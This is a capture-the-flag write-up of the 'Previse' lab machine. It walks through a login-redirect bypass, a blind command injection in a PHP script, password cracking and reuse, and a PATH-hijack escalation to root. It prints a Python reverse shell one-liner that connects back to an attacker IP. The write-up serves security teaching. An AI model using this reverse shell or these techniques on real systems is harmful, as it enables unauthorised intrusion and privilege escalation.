Initial enumeration
The initial port scan enumeration reveals the typical ports 22 and 80. Not much more information was found using this tool.
The web page seems to be protected behind a login page.
Accessing the web application
In order to discover pages that could be not property protected by this authentication mechanism, we launched a popular directory scanner named Dirb and we found some PHP scripts.
How did we find PHP scripts with a directory scanner? When we analyze a web application and we are looking for pages, one point to take into account is the engine we are in front of. In this case we are attacking an Apache which uses PHP. Another hint is the default page we browse: ‘login.php‘. Additionally, web browser extensions such as ‘Wappalyzer‘ also does the job.
Remarked in red are the returned page’s size. Basically, in order to complete this part of the challenge, we needed to realize how rare it is that the server redirects our browser to ‘login.php’ but the response has a considerable size.
All this is a cheat built by the machine creator to make us to think the web application is well protected with the login page but it is not, because we can reach the pages just using an intermediate proxy like Burp Suite. Intercepting the server’s response and changing the ‘location’ parameter we successfully browse to the final pages without the need to resolve any login. In the following image is shown how the register form is reached and a new user is created.
Remote code execution
With this attacker-controlled user we were able to access the authenticated side and search for vulnerabilities. After further analysis of the web site pages and functionalities we found a feature in the page “files.php” which discloses juicy information, that was the web app source code.
After downloading the file, we extracted the web application’s source code in different files:
We analyzed thoroughly the different PHP scripts and we find out an interesting command ‘exec’ in the ‘logs.php’ script.
We can see that the user input ‘delim’ is being passed to the python script directly without any kind of filtering nor escaping of the characters. This is a bad practice that poses as an command injection, one of the most critical vulnerability any web page could have because it could be used to directly execute commands in the underlying operating system, in this case a Linux one.
The ‘exec‘ command executed gets its first argument as a string and tries to execute it in the shell command interpreter. There are some symbols which can chain different commands in one single execution, for example the pipe ‘|’, the semi-colon ‘;’, the apersand ‘&’. These symbols are used for different purposes but all of them can be used to inject commands in a badly secured user input.
There exists basically two different type of injection vulnerabilities: reflected and blind ones. In this case, since the server response does not include the output of the injected command, we were in front of a blind command injection. A good and simple way to verify the vulnerability in these cases is to perform a ‘ping’ command to our attacker machine, where we could monitor the ICMP traffic and validate if the victim is executing the command we have injected.
Okay, so we have found a vulnerability that allows us to execute code. In order to break into the server and comfortably execute code, our main goal is to get a reverse shell. The following command does the job:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.65",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Privilege escalation to the user
As it is shown in the image above, we access as the user ‘www-data’. This user is normally utilized to execute the web server processes, precisely because if an attacker can force the server to execute code, this user is a low privileged one and the attacker don’t own the server in once but he has to escalate privileges.
In the boot2root challenges, when we break the perimeter security one of the first actions we have to perform is to enumerate the services that the server is running internally. In this case we had the HTTP server and also a MySQL.
In one of the source code files that we downloaded previously we saw the credentials to connect to the database ‘previse’ as the ‘root’ user.
Using this password we can connect using the native ‘mysql’ client from the reverse shell (once upgraded to fully TTY using this trick). From this MySQL session, we can read the database values and we found an interesting table ‘accounts’ inside the db ‘previse’ with the following content.
Since there is a user named ‘m4lwhere’ existing in the operative system, it wouldn’t be weird that this user reuses the password in both HTTP web application and Linux system, so it is worthy to try to crack at least his password hash.
The hash doesn’t have the typical appearance, it’s a kind of weird to find a ‘symbol’ in a hash. In order to clarify a bit which type of hash we are facing here, we can analyze the source code in the register of a new user in the ‘accounts.php’ file.
In the remarked line we see that the hashes are generated using the PHP function ‘crypt‘. This function gets the password and optionally it could receive the salt.
Okay, now we are able to start with the cracking of the hashed password. Hashcat has a module for this hashes, that’s the id 500.
We successfully cracked the hashed password and obtained the password in clear text. The following command shows the cracked password.
Now it is time to verify if the password of the user ‘m4lwhere’ in the web application can be used to access the system as well. We try to connect by SSH and we was successful so we escalated privileges to the user in this challenge and read the user’s flag.
Privilege escalation to root
We start with the enumeration searching for potential ways to escalate our privileges in the system. One of the common commands anyone executes during this phase is:
The actual configuration make the user ‘m4lwhere’ able to execute the script ‘/opt/scripts/access_backup.sh’ with the sudo command, so this execution will be with root privileges. The contents of this script are below.
Analyzing the script, it would be some kind of log backup generator. The main point here, and the first thing any attacker has to notice is that the ‘gzip’ program is being referenced without specifying the full path to this binary. It is very dangerous to program a script with relative paths because there exist techniques to abuse these relatives paths and perform the named ‘path hijacking‘.
As you may know, there is an environment variable named ‘PATH’ which is responsible for group, in a sorted way, all the folders where the shell will search the commands that the user is executing.
So if we execute the command ‘id’, the shell interpreter will first search for this program in the folder ‘/home/user/.local/bin’, if it’s not found the following path is consulted and so on.
We can hijack the path where the shell interpreter will search for the program, adding a new folder and forcing the shell to first search inside this one. Furthermore, we can create a file with name ‘gzip’ and place our malicious payload to be executed with ‘root’ privileges.
Since the environment variables can be defined in the command itself, there is a very elegant and easy way to exploit this lack of security in the vulnerable script and finally obtain a shell with maximum permissions, being able to read the root flag.
